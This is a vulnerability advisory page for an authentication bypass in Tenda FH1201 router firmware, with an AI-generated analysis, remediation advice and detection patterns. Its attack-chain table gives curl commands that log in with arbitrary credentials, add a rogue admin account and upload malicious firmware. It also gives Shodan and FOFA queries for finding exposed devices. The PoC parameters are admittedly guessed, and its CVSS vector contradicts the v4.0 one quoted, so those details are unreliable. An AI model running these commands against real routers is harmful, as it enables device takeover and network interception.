CVE Professor
/
All CVEs
CVE-2026-138280

CVE-2026-138280 — Tenda FH1201 — CWE-287

CRITICAL CVSS 10 Shodan

A vulnerability was found in Tenda FH1201 1.2.0.19(946). Affected by this vulnerability is the function authSecurityHandler of the file /login.asp. The manipulation results in improper authentication. The attack may be launched remotely. The exploit has been made public and could be used.

A vulnerability was found in Tenda FH1201 1.2.0.19(946). Affected by this vulnerability is the function authSecurityHandler of the file /login.asp. The manipulation results in improper authentication. The attack may be launched remotely. The exploit has been made public and could be used.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑138280 is an Improper Authentication (CWE‑287) flaw in the Tenda FH1201 router firmware 1.2.0.19(946).
The vulnerable code resides in the authSecurityHandler routine that processes the /login.asp page.
During the authentication handshake the routine fails to validate the supplied credentials – it either:

  • accepts any username/password pair, or
  • bypasses the password check entirely (e.g., a hard‑coded “admin” username with an empty password check).
  • Because the check is performed before any session cookie or token is issued, an unauthenticated attacker can obtain a valid session cookie and immediately access the router’s privileged administration interface.

    The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) confirms that the flaw is remote, low‑complexity, no‑privilege, no‑user‑interaction, shared‑scope and grants full confidentiality, integrity, and availability compromise.


    ⚡ Attack Chain

    StepDescriptionTechnical Detail
    1. Discovery & Reconnaissance• Scan the target network for Tenda FH1201 devices.<br>• Identify the firmware version by querying the router’s web UI (e.g., http://<router_ip>/info.asp or http://<router_ip>/status.asp).<br>• Verify that the device is running 1.2.0.19(946).*Example:*<br>curl -s http://192.168.0.1/info.aspgrep -i "Firmware"
    2. Exploitation• Send a POST request to /login.asp with arbitrary credentials.<br>• Observe that the router issues a session cookie and redirects to the admin dashboard.<br>• The attacker now has full administrative access.Illustrative PoC (the exact parameter names are typical for Tenda routers; if they differ, adjust accordingly):<br>``bash\n# Step 1 – POST arbitrary credentials\ncurl -s -i -X POST \\\n -d \"username=admin&password=any\" \\\n http://192.168.0.1/login.asp \\\n -o /dev/nullgrep -i \"Set-Cookie\"\n# Expected output: Set-Cookie: sessionid=xxxxxxxx; Path=/; HttpOnly\n\n# Step 2 – Use the cookie to access the admin page\ncurl -s -b \"sessionid=xxxxxxxx\" http://192.168.0.1/admin.asphead\n`\nIf the response contains the admin UI (or a 302 redirect to /admin.asp), the vulnerability is confirmed.
    3. Post‑Exploitation• With the session cookie, the attacker can:<br> • Change network settings (DHCP, DNS, NAT).<br> • Install a web‑shell or firmware backdoor.<br> • Open or close firewall ports, effectively turning the router into a pivot point.<br> • Exfiltrate traffic or perform man‑in‑the‑middle attacks on downstream clients.<br>• Persist by creating a new admin account or modifying the router’s firmware configuration.*Example:*<br>curl -s -b "sessionid=xxxxxxxx" -X POST -d "action=add_user&username=evil&password=evil123" http://192.168.0.1/admin.asp<br>or<br>curl -s -b "sessionid=xxxxxxxx" -X POST -d "action=upload_fw&file=@/tmp/malicious.bin" http://192.168.0.1/admin.asp`
    Note: The exact POST parameters (action, username, password, etc.) are illustrative. The real router may use slightly different names; the key point is that the authentication routine accepts any values.

    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (C:H)An attacker can read all configuration data, including SSIDs, passwords, and connected device MAC addresses.
    Integrity (I:H)The attacker can modify routing tables, firewall rules, DNS settings, and firmware, effectively hijacking the network.
    Availability (A:H)By disabling DHCP, opening all ports, or installing a malicious firmware, the attacker can render the router unusable for legitimate users.
    Practical Consequences• Loss of secure Wi‑Fi access for all household or small‑business clients.<br>• Exposure of sensitive data (e.g., corporate credentials, IoT device logs).<br>• Use of the compromised router as a launchpad for further attacks (e.g., DDoS amplification, phishing).<br>• Potential regulatory non‑compliance if the device handles personal data.

    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected VersionFixed Version (if available)Action
    1.2.0.19(946)1.2.0.20 (or later)Download the latest firmware from the official Tenda website and perform a full firmware upgrade.
    1.2.0.19(946)*No official patch yet*If a patch is not yet released, apply the following workarounds.

    2. Workarounds

    MethodImplementation
    IP‑Based Access ControlRestrict remote management to a trusted IP range via the router’s firewall or by disabling WAN‑side management entirely (/admin.asp → “Disable Remote Management”).

    | WAF / ModSecurity Rule | Add a rule to block POST requests to /login.asp that do not contain both username and password parameters, or that contain suspicious values (e.g., empty strings). Example (ModSecurity):<br>```apache\nSecRule REQUEST_URI "@beginsWith /login.asp" "phase:2,block,log,msg:'Unauthenticated login attempt'\nSecRule REQUEST_METHOD \"POST\" \"chain,phase:2,block,log,msg:'Missing credentials'\n SecRule REQUEST_HEADERS:Content-Type \"^application/x-www-form-urlencoded$\" \"chain\"\n SecRule ARGS \"^$\" \"t:none\"\n

    | **Disable the Vulnerable Endpoint** | If the router allows disabling the `/login.asp` page (e.g., via a “Disable Web Management” toggle), enable it. |
    | **Network Segmentation** | Place the router on a separate VLAN and restrict management traffic to a dedicated management subnet. |
    
    ### 3. **Detection**
    
    | Log Pattern | Indicator of Compromise (IoC) |
    |-------------|------------------------------|
    | `POST /login.asp` with `username=` and `password=` values that are not `admin`/`password` | Possible exploitation attempt |
    | `Set-Cookie: sessionid=` in response to a POST with arbitrary credentials | Successful authentication bypass |
    | Multiple rapid POSTs to `/login.asp` from a single IP | Automated exploitation script |
    | Access to `/admin.asp` or `/config.asp` without a prior successful login | Unauthorized privileged access |
    
    **Sample log snippet (Apache/Nginx):**

    192.168.0.100 - - [29/Nov/2026:10:12:45 +0000] "POST /login.asp HTTP/1.1" 200 512 "-" "Mozilla/5.0"
    192.168.0.100 - - [29/Nov/2026:10:12:45 +0000] "GET /admin.asp HTTP/1.1" 200 2048 "-" "Mozilla/5.0"
    ```


    ⚠️ Urgency

  • CVSS Score: 10.0 (Critical) – full compromise of the device is possible with no user interaction.
  • Exploit Complexity: Low – a single crafted HTTP request suffices.
  • CISA KEV Status: Not listed, but the public exploit and high impact warrant immediate action.
Priority: P1 (Highest) – All affected Tenda FH1201 routers must be patched or mitigated immediately. Delay increases the risk of widespread network compromise and potential regulatory violations.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Tenda FH1201"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138280
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
Tenda:FH1201
Related CVEs
8.3
CVE-2026-118326
Improper limitation of a pathname to a restricted directory in attendance photo upload workflow in ZKTeco BioT
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.3
CVE-2026-47677
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.3, there is an authe
8.7
CVE-2026-120762
Improper authorization in the push-publish bundle receiver (user import handler) in dotCMS versions before 26.
8.1
CVE-2026-145022
ZITADEL from 4.0.0 before 4.20.5 contains an MFA bypass vulnerability in Login V2 that allows attackers knowin
7.7
CVE-2026-132111
Improper authentication in the legacy login path (LoginFactory.doLogin) in dotCMS versions before 26.11.11-01
5.4
CVE-2026-144906
A flaw was found in the UMA permission grant implementation of Keycloak, an identity and access management sol